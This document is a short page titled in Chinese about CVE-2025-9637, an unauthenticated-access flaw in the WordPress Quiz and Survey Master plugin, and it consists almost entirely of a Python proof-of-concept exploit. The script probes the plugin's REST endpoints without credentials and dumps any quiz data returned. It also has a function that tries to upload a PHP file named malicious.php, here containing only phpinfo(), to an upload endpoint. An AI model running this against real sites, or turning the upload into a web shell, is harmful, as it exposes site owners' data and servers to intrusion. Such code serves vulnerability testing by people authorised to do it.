CVE-2025-9637 WordPress QSM插件未授权访问漏洞

import requests import json # CVE-2025-9637 PoC - Unauthenticated access to QSM quizzes # Target: WordPress site with Quiz and Survey Master plugin <= 10.3.1 def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-9637""" # Try to access quiz list without authentication endpoints = [ f"{target_url}/?rest_route=/qsm/v1/quizzes", f"{target_url}/wp-json/qsm/v1/quizzes", f"{target_url}/?rest_route=/qsm/v1/quiz/1" ] vulnerable = False results = [] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: data = response.json() if data: vulnerable = True results.append(f"[+] Vulnerable endpoint found: {endpoint}") results.append(f"[+] Response data: {json.dumps(data, indent=2)}") elif response.status_code == 401: results.append(f"[-] Protected: {endpoint}") except Exception as e: results.append(f"[!] Error: {e}") return vulnerable, results def exploit_file_upload(target_url, quiz_id=1): """Attempt to upload file to vulnerable quiz""" upload_endpoint = f"{target_url}/?rest_route=/qsm/v1/upload" files = { 'file': ('malicious.php', '<?php phpinfo(); ?>', 'application/x-php') } data = { 'quiz_id': quiz_id } try: response = requests.post(upload_endpoint, files=files, data=data, timeout=10) if response.status_code in [200, 201, 202]: return True, response.text return False, response.text except Exception as e: return False, str(e) if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] print(f"[*] Testing {target} for CVE-2025-9637...") is_vuln, details = check_vulnerability(target) for d in details: print(d) if is_vuln: print("\n[!] Target is VULNERABLE to CVE-2025-9637") else: print("Usage: python cve-2025-9637.py <target_url>")